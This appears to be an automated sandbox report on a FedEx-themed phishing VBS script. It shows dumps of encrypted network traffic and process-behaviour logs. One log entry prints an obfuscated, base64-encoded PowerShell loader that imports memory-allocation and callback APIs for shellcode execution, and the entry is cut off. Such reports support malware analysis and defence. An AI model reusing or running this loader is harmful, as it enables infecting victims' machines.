                            2022-01-21 16:23:12 UTC1135INData Raw: de 46 b7 df 00 e3 5e 78 5b f5 c2 9a af 43 b2 97 08 ce 04 95 2e b5 a5 52 22 e9 1b a4 49 0f fd 8e 97 96 a3 bc 7c 85 15 e3 8e 73 2a 5c 94 8a 46 5e cb 81 23 ee 9c 33 25 d8 4e 9c 22 7f 56 93 83 5d 7c 42 cb 23 fe e8 46 48 ff e4 a5 9d 3d 97 9a cd fe b8 8d b9 c6 5c df 8b 35 39 7b 15 01 eb 0d 68 a6 e5 93 62 cc 1b c0 9c 83 cf 97 d9 a8 76 04 3a 94 0f b8 dc 48 e5 e5 72 22 4d c1 d5 88 fa 12 30 58 9d a5 31 1d 2c 32 e7 61 b6 a5 35 8c 03 a8 50 f4 1d 16 8f ad 7c 78 07 68 d9 75 d9 e6 fe 0d ac 5b a6 1d f8 68 84 e6 50 b5 69 81 ec 74 81 34 6d d7 0f 82 79 35 a9 95 71 80 83 cc 3c 48 12 25 83 83 26 f9 7b f6 62 39 39 47 16 c6 83 8b b6 ac ab ef 38 41 08 f3 02 5b d8 bd 62 42 bd da 48 52 f2 6d 46 de bd 69 08 0b ba 6a af f5 4f d7 73 b4 a4 c3 8d fd 7d 3c c7 73 4b ae a5 31 b6 b8 c2 d2
                            Data Ascii: F^x[C.R"I|s*\F^#3%N"V]|B#FH=\59{hbv:Hr"M0X1,2a5P|xhu[hPit4my5q<H%&{b99G8A[bBHRmFijOs}<sK1
                            2022-01-21 16:23:12 UTC1151INData Raw: 9d d3 cb 37 3c 77 50 33 24 1e e7 12 c7 a4 9b 03 09 65 b7 a1 5b 45 40 5b 95 51 90 57 21 81 16 cb 40 58 76 08 53 07 85 71 9a 71 1b e9 23 ff 96 f3 fb a6 9e 89 59 db 69 d9 68 d6 90 f5 03 57 53 54 9b ce c7 4a d0 87 fe d8 83 3a 52 3f 1d 89 77 e9 68 41 0b 13 93 e5 8c e6 75 f5 7a c0 5b 09 ba 17 a4 3e 24 06 63 4d a6 dd 3c 62 98 b9 17 cb 79 3e 74 91 0e 3d 7d 88 b3 e6 14 ee 00 37 d2 61 e1 2c 0c 02 66 90 fc 9d 13 85 1a 88 9c 7c 72 ff ac 9f c8 d5 b3 32 da 31 e1 c0 d6 ab 4d c1 e0 69 a4 40 ea 24 bd b2 bd 9e 1c 65 cb a9 9c 5f 3c a7 b6 88 07 c5 29 57 9a f5 c1 58 44 0b 3e 22 c6 ed 95 77 a4 84 18 f9 bc 4c ec d2 a6 9b 84 3d 92 3c ff 66 f2 3a 60 1e ec 07 6d 06 7d 32 94 a6 3a 32 a1 ec 22 32 c8 d1 31 58 27 d6 86 fb 4c 32 f3 84 63 8c 18 7f 16 66 ca 3e 13 1f 11 76 56 07 c8 3d a7
                            Data Ascii: 7<wP3$e[E@[QW!@XvSqq#YihWSTJ:R?whAuz[>$cM<by>t=}7a,f|r21Mi@$e_<)WXD>"wL=<f:`m}2:2"21X'L2cf>vV=
                            2022-01-21 16:23:12 UTC1167INData Raw: 6e 08 8b c0 ae ac 43 23 0b b6 8a 54 6c f9 bf ac ad 18 f5 79 e8 7c 5e 83 75 5b 19 54 94 6f ab 1e 72 e5 cc c9 c4 09 2f f2 5b 55 80 7e 4c 17 78 cf 55 0b a8 1e b3 0f 9a 8d 20 cf 22 8f 23 49 08 78 2e 9e ab 8c 65 ff 39 8f bc 1b 78 1e 42 a4 b2 5a ae 1a 63 8b f1 3f 49 fa 1c a2 7e cb 5c 4b b7 61 9a 9b a9 48 61 65 91 f0 2e 8d fe 39 60 f5 e2 b4 e6 52 b3 7f 01 06 10 8b 06 55 c2 83 5c df f8 69 6d 8a 08 2a 4f 3d b5 a6 d0 d0 83 ca 11 fc 8f 34 f3 2c f5 ce af 62 42 91 e9 bc 0a c6 d3 88 52 87 88 97 d7 8f d3 fd 42 30 5c 94 69 30 59 bc 80 12 1d 2e a6 f8 79 38 29 03 fd 79 20 7f d6 ba a6 5d 6e d7 81 79 0c 95 21 5f 8f a0 a3 5c ff 0f d1 9b 7e c8 be 90 12 43 c9 07 57 ca df 76 30 4f d6 53 32 24 3e 77 50 be 72 28 79 bc 81 fe 05 d6 c7 57 e0 17 af 3d 72 3c 39 63 22 21 f4 2a b6 98 69
                            Data Ascii: nC#Tly|^u[Tor/[U~LxU "#Ix.e9xBZc?I~\KaHae.9`RU\im*O=4,bBRB0\i0Y.y8)y ]ny!_\~CWv0OS2$>wPr(yW=r<9c"!*i
                            2022-01-21 16:23:12 UTC1183INData Raw: d2 d0 40 9b b3 b1 e7 7f 35 c3 c7 04 ed 93 3d 34 87 c0 4c d5 06 9f 77 80 73 16 c9 f4 31 c6 41 b0 73 cf 8c 34 22 7e b8 c2 38 c5 78 02 4c 06 fb db a2 eb 1e 45 2e d4 0d b1 da 74 77 50 92 0b 79 13 01 e0 70 67 dd 35 a0 75 4a e9 49 53 17 7b d7 38 08 6c 2b f6 84 f1 0c 62 5d 82 ed 68 e1 c3 3c 5b ef 4a f6 bd 31 33 c5 a3 66 d3 9a ba cc 4d 51 c7 85 af 31 fb 2c b4 0f 09 7e 96 2d a9 5c 1a 95 3d 72 65 57 4e 31 24 ab 16 ec 38 e6 5b 61 0c 0f b0 10 a7 87 d5 a5 7e 8c 6f bc 0b 66 43 2f cd bb d4 ff 53 38 76 6f dd 12 82 b0 d6 a8 5b 0d 0c 70 f4 63 8f a9 1a a4 df ab 0e 86 33 a7 af 77 64 ff fe 5e 38 2a 80 71 70 34 94 70 7b db ea 89 25 c0 fc 4a 62 32 b8 7a 25 14 78 fe 86 4d 9f 5f 0c c0 ba e0 57 04 9e 40 88 1c 01 db 1c a0 32 bd 60 7a 41 25 8e ce bb 8c d0 76 ae 4b 13 d9 de 39 77 e7
                            Data Ascii: @5=4Lws1As4"~8xLE.twPypg5uJIS{8l+b]h<[J13fMQ1,~-\=reWN1$8[a~ofC/S8vo[pc3wd^8*qp4p{%Jb2z%xM_W@2`zA%vK9w
                            2022-01-21 16:23:12 UTC1199INData Raw: 57 a8 a6 b2 65 9a 03 f1 76 a0 84 12 ba 87 46 e4 e7 5d ef 4c 48 29 61 27 a0 6c 8b b1 e6 20 64 95 34 ce c7 10 f7 84 10 32 fc 3d 16 c2 9a a0 e2 28 73 80 f9 f8 52 7d 3b 49 d8 f4 d7 14 83 a7 e5 13 05 13 73 ff 86 db 77 04 2a cf 05 c9 26 ce fb 90 50 0a f4 5a 76 29 b7 6b 76 f5 0f 61 e8 25 6a 9e e4 b6 5f 98 00 73 f0 e3 bc 3c 31 9d a6 1f 2b 88 79 9e 69 48 d9 b5 b6 e4 50 27 5f 49 a8 dc d8 50 6c 75 bb bc 56 1f b6 b4 51 52 0b e7 75 3a b3 a9 a7 77 8f 5d 6a 66 91 70 c9 09 72 6e ac 9d 1c d2 a7 02 f5 de 08 d5 db c5 2e 5e 55 92 cc 7d 6c f6 f1 00 9a 7f 26 d0 b4 3c 49 c8 5d 45 3b c2 55 e1 84 6b 7b b1 89 f2 c0 21 d2 49 d7 98 ac 10 de 0f 5c ef 9e 32 71 c3 f7 f5 1c 27 72 b9 61 27 c5 12 b1 1b be 1a a1 79 6f e5 21 4d c2 78 e7 be 9a 25 a1 22 74 e5 7f 85 da c2 38 2b 95 c3 38 63 00
                            Data Ascii: WevF]LH)a'l d42=(sR};Isw*&PZv)kva%j_s<1+yiHP'_IPluVQRu:w]jfprn.^U}l&<I]E;Uk{!I\2q'ra'yo!Mx%"t8+8c
                            2022-01-21 16:23:12 UTC1215INData Raw: e2 e4 84 bf 8a b9 13 f4 ac d7 37 cc e3 a7 29 f5 3d 2c 6c 04 bb 8e bb c3 44 c2 76 8e 2c 79 51 bd d4 a2 09 b6 dd 68 69 5a 48 92 f0 7c 98 d0 d2 be 35 41 4a f6 c9 84 40 4e 06 c7 13 ab 23 76 ca c6 b5 16 03 72 52 dd ca 4b 82 3c 72 3e 6e 9b 4f 65 52 7a a4 27 e1 77 e8 84 93 fe f8 a9 ce 41 55 28 9e cd 05 70 b1 e4 72 c2 5e c8 3f c0 b7 3f 8c 3f f4 69 28 98 57 f4 6e 89 8b d8 35 b0 bd d2 2f bc 02 a3 e4 b7 fa f5 88 54 be 37 f7 3a 34 c6 96 4c aa 86 60 88 80 73 98 da f0 e7 bf b8 a2 f8 8a 01 7f ad f4 4c b3 db 33 6d ca c2 02 72 ec ec 23 b9 c9 a0 a1 fe 1c d8 15 a9 fd ba cf ff 87 52 6b 80 3f 07 f8 5f 4d 4f b5 59 d8 d0 ce ad 09 50 40 3d ca d8 0e 03 e7 e7 30 ee c8 48 28 78 45 ff f1 40 41 f5 70 2f 7c bb c4 a3 c0 4d b4 2b f8 0e 98 54 6e d6 5d 76 f6 14 cb 8a fa d8 3c d1 3d 70 42
                            Data Ascii: 7)=,lDv,yQhiZH|5AJ@N#vrRK<r>nOeRz'wAU(pr^???i(Wn5/T7:4L`sL3mr#Rk?_MOYP@=0H(xE@Ap/|M+Tn]v<=pB
                            2022-01-21 16:23:12 UTC1231INData Raw: c1 b2 95 9f 4c 0c b1 cb 9f 48 84 59 78 11 1f 01 af 13 c7 c0 e9 c9 97 cd 65 9f fd b3 a1 d4 73 c8 1f b0 7d 69 4b 56 5b 2a 56 2c fb 84 64 04 cb 5f a4 89 f6 a8 af 53 b9 ea f0 66 a9 41 00 c2 e4 fa 1a 30 56 ce 50 09 3a 3d 9f e7 f5 d8 e6 c7 0a 87 91 ba ea 6b ec ea d2 93 4d 80 52 96 18 45 ce 52 f8 d2 69 73 b0 84 61 82 c6 4a 18 90 e7 ea 94 bb 57 6c 63 b5 e6 96 7a 73 37 68 4a 82 f9 39 a4 25 c2 c6 d1 32 f1 98 5f 74 16 e8 09 74 1d 81 d4 19 86 99 e7 91 c6 e5 31 51 24 fe 8e c9 ac bc cf f4 53 08 76 f4 85 56 d6 23 9c b8 0e 4b 2f d4 92 19 8c 44 f6 f6 75 ec f4 f3 27 83 b1 e7 f9 22 dc 77 fb 0b 5a 40 bc 29 24 00 2f ed 48 ad 19 9e 15 81 b9 89 17 88 e2 cd f3 0c 02 99 21 65 29 82 7a 01 19 18 d5 07 9c c9 91 67 85 52 f8 b2 2f f9 5e 65 79 31 b9 0d 2d dd bb 78 b6 f8 dc 28 8b db c0
                            Data Ascii: LHYxes}iKV[*V,d_SfA0VP:=kMRERisaJWlczs7hJ9%2_tt1Q$SvV#K/Du'"wZ@)$/H!e)zgR/^ey1-x(
                            2022-01-21 16:23:12 UTC1247INData Raw: a7 c4 f1 70 9a 2b 8a bd 13 7a 0c 21 8a a5 ec 52 e2 85 5c d7 ab 37 5a 76 62 1b cc 7b e0 9c 90 ce 37 ff 7a dc e6 20 eb 30 2c bc c9 d3 0e 58 b1 2a ae cc ed 62 0d 2b 06 f5 bd c7 52 7e 5d 17 b4 18 38 eb 30 a2 16 5e ac d8 b8 f6 61 31 0d ab b8 b1 89 35 39 dd 9b 38 bd 01 37 45 3c f6 8d f9 58 26 5e 73 8d 7c 8e 77 8b 6f f5 52 24 1a 2f 84 cc 1c 83 90 4d c1 5f 7f f4 2b c8 0b b6 d3 cd f5 46 79 56 75 e0 18 87 3e a1 15 d8 e9 80 83 f6 3b 2d bc 4c 00 88 f3 ad e6 54 79 ab da 79 f4 2e f7 dc 50 4d 3e 14 61 ee 4f 89 86 52 d3 89 7b 14 bc d4 65 f7 4b 8f 4a f7 f2 27 7b 9b 4c 2f ca ad 6c ce de a2 78 64 35 31 01 41 d8 a4 9d 27 6d f8 a2 e8 ae 25 4d 2b 65 5b 25 a7 99 6a a2 67 cf 4b d9 fc 82 88 23 30 35 be fc b7 36 a7 33 dc 25 48 60 aa 94 b4 51 5a c1 75 ce a7 2d be 69 f1 5a c9 af 3e
                            Data Ascii: p+z!R\7Zvb{7z 0,X*b+R~]80^a15987E<X&^s|woR$/M_+FyVu>;-LTyy.PM>aOR{eKJ'{L/lxd51A'm%M+e[%jgK#0563%H`QZu-iZ>
                            2022-01-21 16:23:12 UTC1263INData Raw: 32 cc 7b 1a 7d 71 26 9b 95 09 65 b7 e9 23 eb bf d9 16 99 6f 0c 02 49 40 b9 13 d3 2b c0 99 b9 7a 09 de fa 19 b2 60 12 97 07 f3 25 7f 6b 90 67 6f c5 5c 55 ee 05 4a 67 59 72 73 b9 15 42 9a 9b 73 8f 8f b1 54 24 11 c8 02 62 eb 3f 03 2b ad b7 cc e3 73 7e 78 51 f9 40 45 9c 0c 3f af 68 5d 04 9e c8 48 68 d8 44 5b 0d b1 47 9f 85 86 ad c8 8b bb 0b e3 b6 f0 8e 9a 17 21 72 fc 0b 64 2f 00 1b 48 fe 44 d5 5f de 34 d2 64 05 8e d5 5b 93 ec 8b 1e d1 16 20 38 c5 2e da ab aa 2a a1 7d db e3 33 d4 10 34 56 5b 6b 61 e2 b6 03 ef 51 c3 ec 2e 33 09 2d af 26 bd 3b 69 57 c3 88 d9 7d e7 66 ae 8a 89 36 a6 cd 7b c8 d1 91 35 87 0d c5 39 d3 2c ba e4 09 99 f5 d1 fe 8f 88 5e 97 ca 3c c8 15 7a 96 e0 b6 bc 87 b3 19 7b 4a 16 e1 f7 66 80 55 51 11 ca 86 8f 42 fc e0 4e 48 42 ce 7c 7f 5e 25 bc 33
                            Data Ascii: 2{}q&e#oI@+z`%kgo\UJgYrsBsT$b?+s~xQ@E?h]HhD[G!rd/HD_4d[ 8.*}34V[kaQ.3-&;iW}f6{59,^<z{JfUQBNHB|^%3
                            2022-01-21 16:23:12 UTC1279INData Raw: 10 5a 78 18 51 bc 27 c2 ff 69 d7 29 ea c6 24 e6 b2 77 ae 05 7a a1 eb 26 90 a8 95 75 03 d8 71 84 46 b8 20 fd 1b 7f e4 86 30 3f 4d 0d 71 00 bd 67 29 72 67 3d 58 7d dd ce 18 9b f9 01 44 3d 34 66 f4 9f ac d2 45 34 ed 0d 76 ed 47 e6 e8 eb 74 3d 3f 29 27 84 bf c4 ea 6c 7a ed d3 b5 fc 6d 15 e3 6f 0e f8 85 c7 bb f3 8b 99 bc 11 c5 c7 44 20 69 5b a9 80 ef b6 f1 7f 9d 3c 19 e3 76 60 73 37 82 87 bb 6e a6 72 55 d1 8c 9a 90 ad 3a 73 6f da a1 fc e8 07 e8 a8 4e 62 c1 e9 f7 cb 28 4d b6 56 23 4f 4a 2f de 38 a8 ec a4 00 e7 c4 cb 9a 45 8a 63 a4 2d 77 11 b3 1c 9e 02 10 30 18 c6 02 39 40 2a 0b fa ea 81 c4 9f ea 9f 96 93 dd 83 e5 4f 83 d8 2a bd d7 a3 a8 7a 08 73 42 a3 80 ef f1 5e eb c3 fb 32 38 57 b3 54 34 38 ce ef c5 00 19 3b 12 a2 3e 2a 36 63 fc 75 ca fb f1 9f 7f cf 2e 20 a8
                            Data Ascii: ZxQ'i)$wz&uqF 0?Mqg)rg=X}D=4fE4vGt=?)'lzmoD i[<v`s7nrU:soNb(MV#OJ/8Ec-w09@*O*zsB^28WT48;>*6cu.
                            2022-01-21 16:23:12 UTC1295INData Raw: 7f 35 f0 1c 07 fb 6c 41 cb f2 10 a4 ab df 70 48 d9 f8 d5 22 48 6a af f2 b0 73 cf 09 74 99 92 77 3d 30 4c e6 0e 82 e9 c4 e8 62 62 80 55 e3 3b 32 76 dc 44 ff 95 5e 23 c0 87 01 e0 70 57 9c 9f 9f b2 cc 71 49 d3 dd a4 64 7d 08 ab 6d 72 4c 1e 33 62 d6 cf 11 b7 77 1f ce 00 07 7c 08 c3 09 57 1f fe a5 3b 5c bf 0a a2 eb 07 f1 a7 5b 6d 01 4d b6 09 7e cf db 2c f4 34 ec 3d 70 11 76 a4 e5 23 44 1a ed 38 63 1b d7 e6 5a b7 49 6a ae 3f 65 f9 a6 6f bc 4b 0c 40 d7 e3 ec 2b 00 d0 fc ba 0a 2e c5 19 62 29 57 17 89 03 1a 7f 8f d9 22 2f a3 ac 6a ee f1 03 22 59 0d 83 86 15 4a d0 de b3 80 7f 8e 54 04 5b 8d 82 ee 1b 00 03 13 e7 f2 8c 61 83 41 78 01 b3 05 45 17 fc 00 af 00 17 41 5e c8 b8 57 d8 30 11 48 31 cc 6f ba 86 25 82 ce fb 81 13 89 f0 16 d0 52 21 61 0c 34 64 9f 4a 5e 88 d6 b4
                            Data Ascii: 5lApH"Hjstw=0LbbU;2vD^#pWqId}mrL3bw|W;\[mM~,4=pv#D8cZIj?eoK@+.b)W"/j"YJT[aAxEA^W0H1o%R!a4dJ^
                            2022-01-21 16:23:12 UTC1311INData Raw: 88 20 2d f4 64 e8 0a 7f 83 e7 29 6c de 44 c7 99 de e5 13 00 90 e2 c5 21 f3 bc 93 f4 82 cc 0f 1f c8 3c 8a 72 41 60 5f 96 60 f0 15 07 ea 44 82 f9 b5 12 16 37 59 42 3b e3 24 c5 6e 70 92 0b b8 af 30 2a 4b 00 02 66 62 bd f6 a6 3e dc 26 02 bf dd 00 21 cc 5d ed d4 5e 6a e9 c7 07 dc 00 10 b3 08 69 c9 e3 ba aa aa 10 3b bf fa 2a 65 ee d0 d8 06 97 bb 41 35 21 25 f6 d0 6e 3e c1 7e e4 56 70 35 1c 5d 73 fc 5c 6e 93 f3 93 f9 59 4c 8a 95 76 1a e4 94 90 6a fc 53 0d 97 5f f2 ec 19 2f e4 c1 56 d2 96 7b aa e9 30 63 29 f6 97 83 e7 c9 26 b6 30 c7 49 bb 5d ba 7e 4f d0 4d 8b 83 f1 9f 89 84 93 15 59 0a 5a c0 a8 9d da 68 d5 cf 62 e7 71 93 f7 f5 27 d7 0e ec ea 84 93 99 1e 20 be 73 00 09 b5 d7 21 3a f9 db 99 d0 11 b0 f6 74 8b 10 89 d1 8c 78 7d e7 1e fb bb aa ff 16 a1 87 b0 f7 f1 53
                            Data Ascii: -d)lD!<rA`_`D7YB;$np0*Kfb>&!]^ji;*eA5!%n>~Vp5]s\nYLvjS_/V{0c)&0I]~OMYZhbq' s!:tx}S
                            2022-01-21 16:23:12 UTC1327INData Raw: 77 67 28 60 24 e6 2e d6 0a 64 73 e7 c7 e5 d5 30 26 19 01 f2 47 59 95 d4 7d a1 8b 63 b2 b7 69 81 67 32 6d 0f 2f 3b 00 06 f8 35 a9 95 7e 36 50 42 8e 0a df 0e 7b f7 30 ca b7 73 9d 36 77 86 9b ca cf 74 49 53 4a 6a f1 4e 89 46 00 5b 88 e0 9d 71 15 e7 cd 29 49 77 be aa ab 5a c1 8e 72 23 76 72 84 9d 78 0d 1d 7a 34 3e f2 75 04 a6 0f e8 e3 78 46 80 6a 9b 7e f9 94 69 73 01 1d fb a8 39 73 b6 24 b7 19 b3 4e fb c2 20 94 1b 3e af 40 9f be 93 64 8e fc 06 8b f6 35 89 09 f4 56 7d 48 3d 30 4c e6 8e 4c 06 fb e8 62 62 80 d5 2e d4 0d 76 dc 44 ff 15 92 cc ff 87 01 e0 70 d7 57 70 a0 b2 cc 71 49 53 17 4b 5b 7d 08 ab 6d f2 85 f1 0c 62 d6 cf 11 37 bf f0 f1 00 07 7c 08 43 ce b8 20 fe a5 3b 5c 08 8a 0b 92 41 b7 e1 1d ab 82 e4 cf 4f 38 89 9d ea 76 9d 95 7b 36 57 30 13 60 8a 3d 5c ab
                            Data Ascii: wg(`$.ds0&GY}cig2m/;5~6PB{0s6wtISJjNF[q)IwZr#vrxz4>uxFj~is9s$N >@d5V}H=0LLbb.vDpWpqISK[}mb7|C ;\AO8v{6W0`=\
                            2022-01-21 16:23:12 UTC1343INData Raw: e8 81 68 9b 3a b7 96 5b 46 9f 8d 1e b3 16 20 38 cd 65 9f ab d5 2a a1 7d b0 93 35 d4 66 cb a9 a4 5f 2a a7 b6 77 10 ae 3c a8 65 76 09 a7 af 26 bd 6f 22 12 c3 9e d9 7d e7 07 e5 cf 89 e2 29 8b 7b 6a 9f 47 2c 9a 0d c5 39 9b e8 b9 e4 7a 99 f5 d1 b6 4b 8b 5e 13 ca 3c c8 d1 31 d3 e0 3e bc 87 b3 cc 30 0f 16 80 93 02 f2 ce dd 9d 15 e0 ee 2f 95 5c c8 97 d3 a1 08 5f 2d ae 33 bc ee cf be 63 5f 79 55 ab 6f 7f ed e7 5d 2f 3f 04 a2 99 ac e5 60 54 69 a4 aa 23 9d bc cf 94 40 8a 7a 87 31 7a d6 72 41 60 5f 5a f8 b6 7a 07 8c 44 f6 06 3d ed 88 37 2b 42 5e ef 78 c5 23 18 c2 48 db af 42 2a 24 fe 8e 99 f2 bd 90 a6 4a 0c 85 fd 17 dd 69 21 a2 a3 76 2b ce 6a 9e c7 74 b0 24 53 f0 08 1c c9 91 44 27 55 8a 3b d1 fa 5e b5 47 2f 42 06 e5 bb 32 cb b7 da 66 d0 00 3e 9d 92 cc 15 1f 35 70 5d
                            Data Ascii: h:[F 8e*}5f_*w<ev&o"}){jG,9zK^<1>0/\_-3c_yUo]/?`Ti#@z1zrA`_ZzD=7+B^x#HB*$Ji!v+jt$SD'U;^G/B2f>5p]
                            2022-01-21 16:23:12 UTC1359INData Raw: bd 12 71 32 04 95 a5 0c 4d 69 60 fe 79 4d a5 f0 17 0a 98 df 5b b3 ca c7 fd c8 76 07 3c 6f 5d 0f b9 51 54 40 51 7b d1 33 e5 18 8e e6 eb 70 d3 20 80 5d 7c b2 7d 5d 17 18 f0 0a 16 30 5d e9 2b 5b 53 48 01 48 12 78 4b af 92 74 ca 39 84 90 c8 1b 88 42 a5 1a 93 6d 7a 9a 2a 93 35 72 7d f2 50 fd 12 09 5d 75 47 d3 d7 db 68 7e 6f 4d 4d 59 04 80 31 bb dd 6a a6 31 1d 23 84 a9 8a b9 13 77 67 28 60 24 e6 2e 29 93 64 8c cd e1 cc 2a 30 30 19 fe f6 69 51 6a d4 64 a1 74 69 ec a0 96 81 69 32 92 0f 2f 3b ff 06 f8 35 56 95 7e 36 84 c3 8a 0a 01 0e 7b f7 cf ca b2 73 62 36 a6 86 64 ca ce 74 b6 53 54 6a 0e 4e 8d 46 ff 5b d8 b2 2b 48 24 a1 01 fa 9b 46 41 aa ab 5a c1 8e 45 65 30 34 c2 db 3e 4b 5b 3c 72 87 2d 33 bd c8 61 88 5a 30 72 e2 d3 d3 3c a1 2d 2a 7f 4c a4 fa 11 f2 ca f0 39 87
                            Data Ascii: q2Mi`yM[v<o]QT@Q{3p ]|}]0]+[SHHxKt9Bmz*5r}P]uGh~oMMY1j1#wg(`$.)d*00iQjdtii2/;5V~6{sb6dtSTjNF[+H$FAZEe04>K[<r-3aZ0r<-*L9
                            2022-01-21 16:23:12 UTC1375INData Raw: 71 19 3e 05 60 96 e5 9c 01 2a f6 f7 48 90 6c 8a e7 c5 3b 51 44 0a 07 0b 96 1f 0e a8 88 d5 a7 2c f0 84 99 df 50 56 f9 45 cd 28 77 72 18 fc 21 a5 55 b6 59 dd 48 1b 04 14 e1 8b 2c 62 c9 ad d5 b2 88 d3 6f 78 a1 79 48 66 77 a5 78 61 6b 79 a5 bb 6b 89 75 ee e7 93 34 bc 5f 58 11 e9 14 be 5f 98 e8 2a cc 79 a2 e9 3e 55 94 74 8e 4a ad 1d 24 ad d9 79 0d 93 d3 51 7c 53 f7 d8 a5 6e f4 e2 d3 a0 d3 91 63 c8 9d d2 c2 1b c9 24 c0 7f de 1a 20 43 e1 45 58 d8 0c b4 64 4e 03 28 15 30 f2 2a 3b a9 4c f4 5a 13 8a 73 77 b3 4a ce 31 e3 f7 8b c3 6d 0c 21 55 11 b3 7f 3e 0d aa 57 03 6d 62 bb 84 2a b5 43 44 1d c7 14 d0 ca e2 44 4f 45 38 b5 32 cc fd 1f da 20 d7 73 3d 22 1d e3 05 29 ee f1 af 95 f9 20 22 76 97 b4 00 8b 18 66 b0 dd d2 a8 e1 f1 47 4f 55 cf 63 63 f5 cf 78 63 b9 a6 26 8d 01
                            Data Ascii: q>`*Hl;QD,PVE(wr!UYH,boxyHfwxakyku4_X_*y>UtJ$yQ|Snc$ CEXdN(0*;LZswJ1m!U>Wmb*CDDOE82 s=") "vfGOUccxc&


                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            High Level Behavior Distribution

                            Click to dive into process behavior distribution

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Start time:17:18:32
                            Start date:21/01/2022
                            Path:C:\Windows\System32\wscript.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs"
                            Imagebase:0x7ff6c2750000
                            File size:163840 bytes
                            MD5 hash:9A68ADD12EB50DDE7586782C3EB9FF9C
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:19:46
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE